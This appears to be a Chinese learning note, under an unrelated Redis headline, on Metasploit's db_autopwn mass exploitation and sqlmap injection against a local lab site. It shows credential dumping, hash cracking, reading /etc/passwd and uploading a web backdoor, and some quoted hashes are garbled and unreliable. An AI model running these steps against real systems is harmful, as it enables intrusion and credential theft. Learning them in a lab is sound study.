如何通过msf获取主机redis hash 批量获取值

MSF学习笔记
最近在研究WEB渗透方向的内容,看了很多的MS**-*之类的微软,就寻思着能不能利用MSF自动化工具进行自动话的批量扫描。对一个网段中的所有主机的进行全模块的扫描。
遇到的第一个问题就是postgresql的安装和集成问题。下面是自己整理的安装过程,做一下学习笔记。
我的机器是Red Hat EnterPrice Linux AS5 。
1.&&& 安装postgresql
就用官方centos的yum源就可以了,如果想要8.4以上更高版本的可以参考这篇文章。
http://wiki.postgresql.org/wiki/YUM_Installation
1.1 yum -y install postgresql84*
2. 初始化数据目录
安装完成后还有一个必须的步骤: 初始化数据目录。由于postgresql是以postgres用户运行的,目录的属主必须指定为postgres。默认的数据目录是/var/lib/pgsql/data,如果不是则需要用-D参数指定。
首先需要切换为postgres用户才能运行initdb命令,另外要注意当前系统的locale,windows下ssh登录的zh_CN.GB18030就安装不了,把语言设置为en_US.UTF8就行了。
2.1 su postgres
2.2 initdb -D /var/lib/pgsql/data
如果指定的不是默认数据目录,需要更改/etc/init.d/postgresql启动脚本,把PGDATA,PGLOG目录指定新设置的目录。如果启动有问题,查看数据目录下的pgstartup.log日志文件
3. 启动服务
3.1 chkconfig postgresql on(可选,如果不需要开机自动自动就不需要这条命令)
3.2 postgres -D /var/lib/pgsql/data & 或者 &pg_ctl -D /var/lib/pgsql/data -l logfile start(注意,两条任意一条一定要以potgres身份执行)
&配置文件是数据目录下的postgresql.conf, 默认监听5432端口,所有IP地址。
listen_addresses='192.168.1.11' 改为只监听内网IP
3.3 netstat -nltp | grep 5432 看看有没有5432端口在监听
4. 配置postgresql
4.1 psql -U postgres & & & 以postgres用户身份连接postgresql
4.2 修改postgres账户的密码,注意,这个是数据库中的密码,要linux账户密码区分开来,网上的教程说要修改linux下的postgres账户的密码,其实不修改也可以
ALTER USER postgres with PASSWORD '111'
4.3 创建数据库
createdb -O postgres msfbook
msfbook数据库用户MSF保存扫描结果,我们可以先创建好
5. 配置MSF
5.1 检测连接状态
5.2 连接数据库
postsql启动后,我们需要让MSF框架连接到这个实例上
db_connect postgres:111@127.0.0.1/msfbook
如果是第一次连接到这个数据库msfbook,MSF会自动为我们为了完成初始化的建表工作。如果不是,则直接返回交互式界面。
5.3 检测连接状态
db_status&
再次检查连接状态,如提示已经连接并显示密码则表示msf框架连接postsql数据库实例成功了。
在windows上安装pgadmin后,连接pg时遇到一系列用户权限的问题。
http://blog.csdn.net/zzy7075/article/details/5727502
配置好postgresql. & pg_hba.conf这两个文件后,连接成功。
6. 将NMAP输出的结果导入MSF
当与其他组员一起协同进行渗透测试工作时,不同的人可能在不同的时间和地点进行扫描。应当把每个人独立运行的nmap扫描结果导入到MetaSploit框架中,可以将一个nmap生成的基本XML报告文件(nmap -oX)导入到MSF中。也就是保存在postgresql数据库中。
6.1 用nmap生成扫描报告
nmap -sS -O -PI -PT -oX /root/Desktop/result 192.168.174.129
将在桌面生成一个result.xml文件
6.2 将扫描结果导出数据库
db_connect postgres:111@127.0.0.1/msfbook
db_import&/root/Desktop/result
hosts -c address
返回一个主机IP列表,表名我们已经成功将nmap输出导入到了MSF中
6.3 在MSF终端中运行Namp
配置好postgresql并成功连接及导入,现在我们已经完成了MSF和数据库的准备工作。接下来,让我们把nmap和MSF结合起来使用。
6.3.1 连接到msfbook数据库
db_connect postgres:111@127.0.0.1/msfbook
6.3.2 在MSF终端中运行Namp,并自动将namp扫描结果存储在数据库中。
db_nmap -sS -A&192.168.174.129
可以运行services命令来查看数据库中的关于系统上运行服务的扫描结果
至此,MSF和postgresql数据的连接以及nmap集成到MSF的扫描就算完成了,但是,我们在扫描一个网段的时候,往往是面对很多台主机各种不同的操作系统,如果一台一台的试一个模块一个模块的试就太麻烦了。接下来,我们要完成对多台主机的多模块自动批量扫描。
1.&db_autopwn
这是一个自动化扫描的脚本,ruby语言编写的。在新版本的MSF中已经取消了这个命令,我们需要这个脚本并手工加载。
将附件db_autopwn.rp 拷贝到
/opt/metasploit/apps/pro/msf3/plugins(根据具体情况可能会不同,就是本机msf的plugin安装目录)路径下。
加载脚本:msf & load db_autopwn
加载成功后:db_autopwn这个脚本模块即可正常使用了。
接下来要怎么使用呢:
1)连接数据库
db_connect postgres:111@127.0.0.1/msfbook
2)使用Nmap对远程主机进行扫描
db_nmap -sS -A&192.168.174.129
这一步,可以对一个网段进行扫描,扫描结果会自动记录到数据库中。为下一步的自动化批量扫描做准备。
3)使用db_autopwn对数据库中记录的主机记录进行自动话的全模块扫描
db_autopwn -p -e -b
启动后,脚本就会根据扫描出的主机类型,自动调用匹配的攻击模块进行试探攻击,同时如果数据库中有多条记录,也会自动地对多条记录进行批量攻击。
这里简单解释一下这几个参数的意思。
-p: 选择基于开放端口的模块(比如如果开放了135端口并且是windows系统,就自动试试MS08-067)
-e: 运行所有匹配目标的利用程序(相当于exploit命令)
-b: 用一个随机端口的绑定shell(bind)
4) 批量扫描结束后,会显示已经打开的meterpreter,接下来可以输入meterpreter的命令或转换到相应的频道,输入shell,获得cmd窗口
2.&SqlMap:Sql Injection Pentest
本来想做的是MSF上的auxiliary辅助模块里面的sqlmap脚本的,但是一直没成功。貌似这个集成模块有些问题。没办法就用独立sqlmap的那个python脚本来学习吧。
但是这种方法好像没法像MSF那样进行批量测试,只能一个网站一个网站的测试。因为每个网站的URL路径不同,能触发sql漏洞的脚本路径也是不同的,所以需要我们在使用sqlmap之前进行踩点,确定某个地方可能存在注入漏洞时(最好结合手工注入先测试一下),在使用sqlmap自动化工具进行攻击。
http://192.168.0.103/company/do/alonepage.php?id=3(这是一个存在sql漏洞的脚本URL)
这里使用本地搭建的一个网站,并已知某个页面存在着sql注入漏洞,实际上这个工作是需要前期通过探测完成的。这里就跳过了,专注与sqlmap的使用上。
1) 安装sqlmap
首先安装python2.52
然后进入sqlmap的目录 & cd&pentest/database/sqlmap & (默认是这个目录)
查看一下sqlmap使用帮助 & & &python sqlmap.py &-hh
2)对注入点进行初步探测
1. python sqlmap.py -u &http://192.168.0.103/company/do/alonepage.php?id=3&&--current-user & & & & & & &&#获取当前用户名称
[10:23:01] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.12, Apache 2.4.4
back-end DBMS: MySQL 5.0
[10:23:01] [INFO] fetching current user
current user: & &'root@localhost'
result:我们知道了当前这个php页面是使用root这个用户名登入数据库的,并且知道了服务器上的环境信息,知道了版本,就可以在CVE上寻找相应的漏洞进行利用了。
2. &python &sqlmap.py -u &http://192.168.0.103/company/do/alonepage.php?id=3& --current-db & & & & & & & & & & & & & #获取当前数据库名称
[10:37:07] [INFO] fetching current database
current database: & &'company'
result:重复的信息就不列出来了,现在知道了目标网站使用company这个数据库。
3.&python&sqlmap.py -u &http://192.168.0.103/company/do/alonepage.php?id=3& --tables -D &company& & & & &#列表名
[10:41:19] [INFO] fetching tables for database: 'company'
[10:41:19] [INFO] the SQL query used returns 75 entries
[10:41:19] [INFO] retrieved: &p8_ad&
[10:41:19] [INFO] retrieved: &p8_ad_user&
[10:41:19] [INFO] retrieved: &p8_admin_menu&
[10:41:19] [INFO] retrieved: &p8_alonepage&
[10:41:20] [INFO] retrieved: &p8_area&
[10:41:20] [INFO] retrieved: &p8_article&
[10:41:20] [INFO] retrieved: &p8_article_content_100&
[10:41:20] [INFO] retrieved: &p8_article_content_101&
[10:41:20] [INFO] retrieved: &p8_article_content_102&
[10:41:20] [INFO] retrieved: &p8_article_content_103&
[10:41:20] [INFO] retrieved: &p8_article_content_104&
[10:41:20] [INFO] retrieved: &p8_article_content_105&
[10:41:20] [INFO] retrieved: &p8_article_db&
[10:41:20] [INFO] retrieved: &p8_article_module&
[10:41:20] [INFO] retrieved: &p8_channel&
[10:41:20] [INFO] retrieved: &p8_collection&
[10:41:20] [INFO] retrieved: &p8_comment&
[10:41:20] [INFO] retrieved: &p8_config&
[10:41:20] [INFO] retrieved: &p8_copyfrom&
[10:41:21] [INFO] retrieved: &p8_count_site&
[10:41:21] [INFO] retrieved: &p8_count_stat&
[10:41:21] [INFO] retrieved: &p8_count_user&
[10:41:21] [INFO] retrieved: &p8_exam_form&
[10:41:21] [INFO] retrieved: &p8_exam_form_element&
[10:41:21] [INFO] retrieved: &p8_exam_sort&
[10:41:21] [INFO] retrieved: &p8_exam_student&
[10:41:21] [INFO] retrieved: &p8_exam_student_title&
[10:41:21] [INFO] retrieved: &p8_exam_title&
[10:41:21] [INFO] retrieved: &p8_form_content&
[10:41:21] [INFO] retrieved: &p8_form_content_2&
[10:41:21] [INFO] retrieved: &p8_form_content_3&
[10:41:21] [INFO] retrieved: &p8_form_content_6&
[10:41:21] [INFO] retrieved: &p8_form_content_7&
[10:41:22] [INFO] retrieved: &p8_form_content_9&
[10:41:22] [INFO] retrieved: &p8_form_module&
[10:41:22] [INFO] retrieved: &p8_form_reply&
[10:41:22] [INFO] retrieved: &p8_friendlink&
[10:41:22] [INFO] retrieved: &p8_friendlink_sort&
[10:41:22] [INFO] retrieved: &p8_gather_rule&
[10:41:22] [INFO] retrieved: &p8_gather_sort&
[10:41:22] [INFO] retrieved: &p8_group&
[10:41:22] [INFO] retrieved: &p8_guestbook&
[10:41:22] [INFO] retrieved: &p8_hack&
[10:41:22] [INFO] retrieved: &p8_jfabout&
[10:41:22] [INFO] retrieved: &p8_jfsort&
[10:41:22] [INFO] retrieved: &p8_keyword&
[10:41:22] [INFO] retrieved: &p8_keywordid&
[10:41:23] [INFO] retrieved: &p8_label&
[10:41:23] [INFO] retrieved: &p8_limitword&
[10:41:23] [INFO] retrieved: &p8_memberdata&
[10:41:23] [INFO] retrieved: &p8_memberdata_1&
[10:41:23] [INFO] retrieved: &p8_members&
[10:41:23] [INFO] retrieved: &p8_menu&
[10:41:23] [INFO] retrieved: &p8_module&
[10:41:23] [INFO] retrieved: &p8_moneycard&
[10:41:23] [INFO] retrieved: &p8_olpay&
[10:41:23] [INFO] retrieved: &p8_online_consultation&
[10:41:23] [INFO] retrieved: &p8_pm&
[10:41:23] [INFO] retrieved: &p8_propagandize&
[10:41:23] [INFO] retrieved: &p8_reply&
[10:41:24] [INFO] retrieved: &p8_report&
[10:41:24] [INFO] retrieved: &p8_sellad&
[10:41:24] [INFO] retrieved: &p8_sellad_user&
[10:41:24] [INFO] retrieved: &p8_shoporderproduct&
[10:41:24] [INFO] retrieved: &p8_shoporderuser&
[10:41:24] [INFO] retrieved: &p8_sort&
[10:41:24] [INFO] retrieved: &p8_special&
[10:41:24] [INFO] retrieved: &p8_special_comment&
[10:41:24] [INFO] retrieved: &p8_spsort&
[10:41:24] [INFO] retrieved: &p8_template&
[10:41:24] [INFO] retrieved: &p8_template_bak&
[10:41:24] [INFO] retrieved: &p8_upfile&
[10:41:24] [INFO] retrieved: &p8_vote&
[10:41:25] [INFO] retrieved: &p8_vote_comment&
[10:41:25] [INFO] retrieved: &p8_vote_config&
Database: company & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & &
[75 tables]
+------------------------+
| p8_ad & & & & & & & & &|
| p8_ad_user & & & & & & |
| p8_admin_menu & & & & &|
| p8_alonepage & & & & & |
| p8_area & & & & & & & &|
| p8_article & & & & & & |
| p8_article_content_100 |
| p8_article_content_101 |
| p8_article_content_102 |
| p8_article_content_103 |
| p8_article_content_104 |
| p8_article_content_105 |
| p8_article_db & & & & &|
| p8_article_module & & &|
| p8_channel & & & & & & |
| p8_collection & & & & &|
| p8_comment & & & & & & |
| p8_config & & & & & & &|
| p8_copyfrom & & & & & &|
| p8_count_site & & & & &|
| p8_count_stat & & & & &|
| p8_count_user & & & & &|
| p8_exam_form & & & & & |
| p8_exam_form_element & |
| p8_exam_sort & & & & & |
| p8_exam_student & & & &|
| p8_exam_student_title &|
| p8_exam_title & & & & &|
| p8_form_content & & & &|
| p8_form_content_2 & & &|
| p8_form_content_3 & & &|
| p8_form_content_6 & & &|
| p8_form_content_7 & & &|
| p8_form_content_9 & & &|
| p8_form_module & & & & |
| p8_form_reply & & & & &|
| p8_friendlink & & & & &|
| p8_friendlink_sort & & |
| p8_gather_rule & & & & |
| p8_gather_sort & & & & |
| p8_group & & & & & & & |
| p8_guestbook & & & & & |
| p8_hack & & & & & & & &|
| p8_jfabout & & & & & & |
| p8_jfsort & & & & & & &|
| p8_keyword & & & & & & |
| p8_keywordid & & & & & |
| p8_label & & & & & & & |
| p8_limitword & & & & & |
| p8_memberdata & & & & &|
| p8_memberdata_1 & & & &|
| p8_members & & & & & & |
| p8_menu & & & & & & & &|
| p8_module & & & & & & &|
| p8_moneycard & & & & & |
| p8_olpay & & & & & & & |
| p8_online_consultation |
| p8_pm & & & & & & & & &|
| p8_propagandize & & & &|
| p8_reply & & & & & & & |
| p8_report & & & & & & &|
| p8_sellad & & & & & & &|
| p8_sellad_user & & & & |
| p8_shoporderproduct & &|
| p8_shoporderuser & & & |
| p8_sort & & & & & & & &|
| p8_special & & & & & & |
| p8_special_comment & & |
| p8_spsort & & & & & & &|
| p8_template & & & & & &|
| p8_template_bak & & & &|
| p8_upfile & & & & & & &|
| p8_vote & & & & & & & &|
| p8_vote_comment & & & &|
| p8_vote_config & & & & |
+------------------------+
result:这样就基本知道了目标主机mysql数据中的所有表名
4. python&sqlmap.py -u &http://192.168.0.103/company/do/alonepage.php?id=3& --columns -T &p8_members& users -D &company& -v 0 & & & & & & & & & & & & & & & #列字段,一般是列账户信息的那个表
[10:47:35] [INFO] fetching columns for table 'p8_members' in database 'company'
[10:47:36] [INFO] the SQL query used returns 3 entries
[10:47:36] [INFO] retrieved: &uid&,&mediumint(7) unsigned&
[10:47:36] [INFO] retrieved: &username&,&varchar(30)&
[10:47:36] [INFO] retrieved: &password&,&varchar(32)&
Database: company & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & &&
Table: p8_members
[3 columns]
+----------+-----------------------+
| Column & | Type & & & & & & & & &|
+----------+-----------------------+
| password | varchar(32) & & & & & |
| uid & & &| mediumint(7) unsigned |
| username | varchar(30) & & & & & |
+----------+-----------------------+
result:知道了保存帐号信息的表结构。
5. python&sqlmap.py -u &http://192.168.0.103/company/do/alonepage.php?id=3& --dump &-C &username& &-T &p8_members& -D &company& -v 0
python&sqlmap.py -u &http://192.168.0.103/company/do/alonepage.php?id=3& --dump &-C &password& &-T &p8_members& -D &company& -v&0 &&
#获取字段内容,获取帐号和密码
do you want sqlmap to consider provided column(s):
[1] as LIKE column names (default)
[2] as exact column names
[10:52:21] [INFO] fetching columns like 'username' for table 'p8_members' in database 'company'
[10:52:21] [INFO] the SQL query used returns 1 entries
[10:52:21] [INFO] retrieved: &username&,&varchar(30)&
[10:52:21] [INFO] fetching entries of column(s) 'username' for table 'p8_members' in database 'company' & & & & & & & & & &&
[10:52:22] [INFO] the SQL query used returns 1 entries
[10:52:22] [INFO] retrieved: &admin&
[10:52:22] [INFO] analyzing table dump for possible password hashes & & & & & & & & & & & & & & & & & & & & & & & & & & & &&
Database: company
Table: p8_members
+----------+
| username |
+----------+
| admin & &|
+----------+
do you want sqlmap to consider provided column(s):
[1] as LIKE column names (default)
[2] as exact column names
[10:53:17] [INFO] fetching columns like 'password' for table 'p8_members' in database 'company'
[10:53:17] [INFO] the SQL query used returns 1 entries
[10:53:17] [INFO] retrieved: &password&,&varchar(32)&
[10:53:17] [INFO] fetching entries of column(s) 'password' for table 'p8_members' in database 'company' & & & & & & & & & &
[10:53:17] [INFO] the SQL query used returns 1 entries
[10:53:17] [INFO] retrieved: &698d51a19d8a121ceb701668&
[10:53:17] [INFO] analyzing table dump for possible password hashes & & & & & & & & & & & & & & & & & & & & & & & & & & & &&
recognized possible password hashes in column 'password'. Do you want to crack them via a dictionary-based attack? [Y/n/q] y
[10:53:24] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/pentest/database/sqlmap/txt/wordlist.txt' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
[10:53:28] [INFO] using default dictionary
[10:53:28] [INFO] loading dictionary from '/pentest/database/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] y
[10:53:32] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[10:53:32] [INFO] cracked password '111' for hash '698d51a19d8a121ceb; & & & & & & & & & & & & & & & & & & &&
[10:53:32] [INFO] postprocessing table dump & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & &&
Database: company
Table: p8_members
+----------------------------------------+
| password & & & & & & & & & & & & & & & |
+----------------------------------------+
| 698d51a19d8a121ceb1) |
+----------------------------------------+
result:这里可以用MSF的字典进行破解,也可以自己本地字典跑或者拿到 网站上去破解。
3)信息获取
做完上面的步骤后,就已经获取的网站后台的帐号和密码,可以登入到后台,上传webshell,进一步提权。
但是sqlmap的用处远不止如此,我们可以利用sqlmap继续获取一些有用的信息
1.&&&& python&sqlmap.py -u &http://192.168.0.103/company/do/alonepage.php?id=3& --smart --level 3 --users & &
# smart智能 level 执行测试等级(可以用来获取数据库中所有的用户)
[11:12:54] [INFO] fetching database users
[11:12:54] [INFO] the SQL query used returns 85 entries
[11:12:54] [INFO] retrieved: &'root'@'localhost'&
[11:12:54] [INFO] retrieved: &'root'@'localhost'&
[11:12:54] [INFO] retrieved: &'root'@'localhost'&
[11:12:54] [INFO] retrieved: &'root'@'localhost'&
[11:12:54] [INFO] retrieved: &'root'@'localhost'&
[11:12:54] [INFO] retrieved: &'root'@'localhost'&
[11:12:54] [INFO] retrieved: &'root'@'localhost'&
[11:12:55] [INFO] retrieved: &'root'@'localhost'&
[11:12:55] [INFO] retrieved: &'root'@'localhost'&
[11:12:55] [INFO] retrieved: &'root'@'localhost'&
[11:12:55] [INFO] retrieved: &'root'@'localhost'&
[11:12:55] [INFO] retrieved: &'root'@'localhost'&
[11:12:55] [INFO] retrieved: &'root'@'localhost'&
[11:12:55] [INFO] retrieved: &'root'@'localhost'&
[11:12:55] [INFO] retrieved: &'root'@'localhost'&
[11:12:55] [INFO] retrieved: &'root'@'localhost'&
[11:12:55] [INFO] retrieved: &'root'@'localhost'&
[11:12:55] [INFO] retrieved: &'root'@'localhost'&
[11:12:55] [INFO] retrieved: &'root'@'localhost'&
[11:12:55] [INFO] retrieved: &'root'@'localhost'&
[11:12:56] [INFO] retrieved: &'root'@'localhost'&
[11:12:56] [INFO] retrieved: &'root'@'localhost'&
[11:12:56] [INFO] retrieved: &'root'@'localhost'&
[11:12:56] [INFO] retrieved: &'root'@'localhost'&
[11:12:56] [INFO] retrieved: &'root'@'localhost'&
[11:12:56] [INFO] retrieved: &'root'@'localhost'&
[11:12:56] [INFO] retrieved: &'root'@'localhost'&
[11:12:56] [INFO] retrieved: &'root'@'localhost'&
[11:12:56] [INFO] retrieved: &'root'@'127.0.0.1'&
[11:12:56] [INFO] retrieved: &'root'@'127.0.0.1'&
[11:12:56] [INFO] retrieved: &'root'@'127.0.0.1'&
[11:12:56] [INFO] retrieved: &'root'@'127.0.0.1'&
[11:12:56] [INFO] retrieved: &'root'@'127.0.0.1'&
[11:12:57] [INFO] retrieved: &'root'@'127.0.0.1'&
[11:12:57] [INFO] retrieved: &'root'@'127.0.0.1'&
[11:12:57] [INFO] retrieved: &'root'@'127.0.0.1'&
[11:12:57] [INFO] retrieved: &'root'@'127.0.0.1'&
[11:12:57] [INFO] retrieved: &'root'@'127.0.0.1'&
[11:12:57] [INFO] retrieved: &'root'@'127.0.0.1'&
[11:12:57] [INFO] retrieved: &'root'@'127.0.0.1'&
[11:12:57] [INFO] retrieved: &'root'@'127.0.0.1'&
[11:12:57] [INFO] retrieved: &'root'@'127.0.0.1'&
[11:12:57] [INFO] retrieved: &'root'@'127.0.0.1'&
[11:12:57] [INFO] retrieved: &'root'@'127.0.0.1'&
[11:12:57] [INFO] retrieved: &'root'@'127.0.0.1'&
[11:12:57] [INFO] retrieved: &'root'@'127.0.0.1'&
[11:12:57] [INFO] retrieved: &'root'@'127.0.0.1'&
[11:12:58] [INFO] retrieved: &'root'@'127.0.0.1'&
[11:12:58] [INFO] retrieved: &'root'@'127.0.0.1'&
[11:12:58] [INFO] retrieved: &'root'@'127.0.0.1'&
[11:12:58] [INFO] retrieved: &'root'@'127.0.0.1'&
[11:12:58] [INFO] retrieved: &'root'@'127.0.0.1'&
[11:12:58] [INFO] retrieved: &'root'@'127.0.0.1'&
[11:12:58] [INFO] retrieved: &'root'@'127.0.0.1'&
[11:12:58] [INFO] retrieved: &'root'@'127.0.0.1'&
[11:12:58] [INFO] retrieved: &'root'@'127.0.0.1'&
[11:12:58] [INFO] retrieved: &'root'@'::1'&
[11:12:58] [INFO] retrieved: &'root'@'::1'&
[11:12:59] [INFO] retrieved: &'root'@'::1'&
[11:12:59] [INFO] retrieved: &'root'@'::1'&
[11:12:59] [INFO] retrieved: &'root'@'::1'&
[11:12:59] [INFO] retrieved: &'root'@'::1'&
[11:12:59] [INFO] retrieved: &'root'@'::1'&
[11:12:59] [INFO] retrieved: &'root'@'::1'&
[11:12:59] [INFO] retrieved: &'root'@'::1'&
[11:12:59] [INFO] retrieved: &'root'@'::1'&
[11:12:59] [INFO] retrieved: &'root'@'::1'&
[11:12:59] [INFO] retrieved: &'root'@'::1'&
[11:12:59] [INFO] retrieved: &'root'@'::1'&
[11:12:59] [INFO] retrieved: &'root'@'::1'&
[11:12:59] [INFO] retrieved: &'root'@'::1'&
[11:13:00] [INFO] retrieved: &'root'@'::1'&
[11:13:00] [INFO] retrieved: &'root'@'::1'&
[11:13:00] [INFO] retrieved: &'root'@'::1'&
[11:13:00] [INFO] retrieved: &'root'@'::1'&
[11:13:00] [INFO] retrieved: &'root'@'::1'&
[11:13:00] [INFO] retrieved: &'root'@'::1'&
[11:13:00] [INFO] retrieved: &'root'@'::1'&
[11:13:00] [INFO] retrieved: &'root'@'::1'&
[11:13:00] [INFO] retrieved: &'root'@'::1'&
[11:13:01] [INFO] retrieved: &'root'@'::1'&
[11:13:01] [INFO] retrieved: &'root'@'::1'&
[11:13:01] [INFO] retrieved: &'root'@'::1'&
[11:13:01] [INFO] retrieved: &'root'@'::1'&
[11:13:01] [INFO] retrieved: &''@'localhost'&
database management system users [85]: & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & &
[*] ''@'localhost'
[*] 'root'@'127.0.0.1'
[*] 'root'@'::1'
[*] 'root'@'localhost'
2. python&sqlmap.py -u &http://192.168.0.103/company/do/alonepage.php?id=3& &--dbms &Mysql& --users &
# dbms 指定数据库类型,可以用来确认数据库的类型
[11:14:37] [INFO] testing MySQL
[11:14:37] [INFO] confirming MySQL
[11:14:38] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.12, Apache 2.4.4
back-end DBMS: MySQL &= 5.0.0
[11:14:38] [INFO] fetching database users
[11:14:38] [INFO] the SQL query used returns 85 entries
database management system users [85]: & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & &
[*] ''@'localhost'
[*] 'root'@'127.0.0.1'
[*] 'root'@'::1'
[*] 'root'@'localhost'
3. python&sqlmap.py -u &http://192.168.0.103/company/do/alonepage.php?id=3& --users & & & & &#列数据库用户
作用和上面的smart智能 level 执行测试等级作用是一样的,可以获取当前主机中数据库中的所有用户
4. python&sqlmap.py -u &http://192.168.0.103/company/do/alonepage.php?id=3& --dbs & & & & & & #列数据库
[11:17:49] [INFO] fetching database names
[11:17:49] [INFO] the SQL query used returns 5 entries
[11:17:49] [INFO] retrieved: &information_schema&
[11:17:49] [INFO] retrieved: &company&
[11:17:49] [INFO] retrieved: &mysql&
[11:17:49] [INFO] retrieved: &performance_schema&
[11:17:49] [INFO] retrieved: &test&
available databases [5]: & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & &
[*] company
[*] information_schema
[*] performance_schema
result:和获取当前数据库不同,这个命令可以获取所有的数据库名
5.python&sqlmap.py -u &http://192.168.0.103/company/do/alonepage.php?id=3& --passwords & & & & #数据库用户密码
[11:19:13] [INFO] fetching database users password hashes
[11:19:14] [INFO] the SQL query used returns 4 entries
[11:19:14] [INFO] retrieved: &root&,&*832EB84CBD498ED9CA7E5CE9B8F83EB&
[11:19:14] [INFO] retrieved: &root&,&*832EB84CBD498ED9CA7E5CE9B8F83EB&
[11:19:14] [INFO] retrieved: &root&,&*832EB84CBD498ED9CA7E5CE9B8F83EB&
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] y & & & & & & & & & & & & & & &
[11:19:26] [INFO] using hash method 'mysql_passwd'
what dictionary do you want to use?
[1] default dictionary file '/pentest/database/sqlmap/txt/wordlist.txt' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
[11:19:28] [INFO] using default dictionary
[11:19:28] [INFO] loading dictionary from '/pentest/database/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] y
[11:19:30] [INFO] starting dictionary-based cracking (mysql_passwd)
[11:19:31] [INFO] cracked password '111' for user 'root' & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & &
database management system users password hashes: & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & &&
[*] root [3]:
& & password hash: *832EB84CBD498ED9CA7E5CE9B8F83EB
& & clear-text password: 111
& & password hash: *832EB84CBD498ED9CA7E5CE9B8F83EB
& & clear-text password: 111
& & password hash: *832EB84CBD498ED9CA7E5CE9B8F83EB
& & clear-text password: 111
result:获取当前数据库的用户密码,注意,这里是因为恰巧我自己本机上数据库也是用111密码,实际上这个密码和之前的账户密码111是不同的。这个数据库主机的账户密码,是用来登入数据库主机的,而之前的账户密码是用来登入网站的。
6. python&sqlmap.py -u &http://192.168.0.103/company/do/alonepage.php?id=3& --dump -C &password,username,uid& -T &p8_members& -D &company&&--start 1 --stop 20 &
#列出指定字段,列出20条,可以一次性列出多个字段的数据
do you want sqlmap to consider provided column(s):
[1] as LIKE column names (default)
[2] as exact column names
[11:24:52] [INFO] fetching columns like 'password, uid, username' for table 'p8_members' in database 'company'
[11:24:53] [INFO] the SQL query used returns 3 entries
[11:24:53] [INFO] retrieved: &uid&,&mediumint(7) unsigned&
[11:24:53] [INFO] retrieved: &username&,&varchar(30)&
[11:24:53] [INFO] retrieved: &password&,&varchar(32)&
[11:24:53] [INFO] fetching entries of column(s) 'password, uid, username' for table 'p8_members' in database 'company' & & &
[11:24:53] [INFO] retrieved: &698d51a19d8a121ceb701668&,&1&,&admin&
[11:24:53] [INFO] analyzing table dump for possible password hashes & & & & & & & & & & & & & & & & & & & & & & & & & & & &&
recognized possible password hashes in column 'password'. Do you want to crack them via a dictionary-based attack? [Y/n/q] y
[11:24:55] [INFO] using hash method 'md5_generic_passwd'
[11:24:55] [INFO] resuming password '111' for hash '698d51a19d8a121ceb; for user 'admin'
[11:24:55] [INFO] postprocessing table dump
Database: company
Table: p8_members
+-----+----------+----------------------------------------+
| uid | username | password & & & & & & & & & & & & & & & |
+-----+----------+----------------------------------------+
| 1 & | admin & &| 698d51a19d8a121ceb1) |
+-----+----------+----------------------------------------+
result:注意,越到后面,这些参数越不能错了,数据库名,表名,字段名都必须正确,这些信息应该在之前获得
7. python&sqlmap.py -u &http://192.168.0.103/company/do/alonepage.php?id=3& --dump-all -v 0 & #列出所有数据库所有表
8.&python sqlmap.py -u &http://192.168.0.103/company/do/alonepage.php?id=3& --privileges & & #查看权限
9.&python sqlmap.py -u &http://192.168.0.103/company/do/alonepage.php?id=3& --is-dba -v 1 & &#是否是数据库管理员
[11:28:30] [INFO] testing if current user is DBA
[11:28:30] [INFO] fetching current user
current user is DBA: & &'True'
10.&python sqlmap.py -u &http://192.168.0.103/company/do/alonepage.php?id=3& --udf-inject&
#导入用户自定义函数(获取系统权限!)
11.&python sqlmap.py -u &http://192.168.0.103/company/do/alonepage.php?id=3& --cookie &111& & #cookie注入
12.&python&sqlmap.py -u &http://192.168.0.103/company/do/alonepage.php?id=3& --data &id=3& &#post注入
13.&python&sqlmap.py -u &http://192.168.0.103/company/do/alonepage.php?id=3& --proxy&http://127.0.0.1:8118& #代理注入
(这几种注入的原理不是太清楚,还有待学习啊)
14.&python&sqlmap.py&-u &http://192.168.0.103/company/do/alonepage.php?id=3& --sql-shell & & & &#执行指定sql命令
(貌似效果不好,原理也不是很清楚)
15.&python&sqlmap.py&-u &http://192.168.0.103/company/do/alonepage.php?id=3&&--file /etc/passwd
[11:37:41] [INFO] fingerprinting the back-end DBMS operating system
[11:37:41] [INFO] the back-end DBMS operating system is Windows
[11:37:41] [INFO] fetching file: '/etc/passwd'
/etc/passwd file saved to: None
result:这个指令厉害了,可以直接获得系统级的账户信息。因为我这里网站的主机是windows的,所有没有这个文件,如果是linux也许能获取到,没实验过,留到实战中去检验吧。
16.&python&sqlmap.py&-u &http://192.168.0.103/company/do/alonepage.php?id=3&&--os-cmd=dir & & & &#执行系统命令
[11:43:01] [INFO] going to use a web backdoor for command execution
[11:43:01] [INFO] fingerprinting the back-end DBMS operating system
[11:43:02] [INFO] the back-end DBMS operating system is Windows
[11:43:02] [INFO] trying to upload the file stager
which web application language does the web server support?
[3] PHP (default)
[11:43:03] [WARNING] unable to retrieve the web server document root
please provide the web server document root [C:/xampp/htdocs/,C:/Inetpub/wwwroot/]: E:\wamp\www
[11:43:12] [WARNING] unable to retrieve any web server path
please provide any additional web server full path to try to upload the agent [Enter for None]:&
[11:43:13] [WARNING] reflective value(s) found and filtering out
[11:43:13] [INFO] heuristics detected web page charset 'GB2312'
[11:43:13] [INFO] the file stager has been successfully uploaded on 'E:/wamp/www' - http://192.168.0.103:80/tmpukaau.php
[11:43:14] [INFO] the backdoor has probably been successfully uploaded on 'E:/wamp/www' - http://192.168.0.103:80/tmpbytiq.php
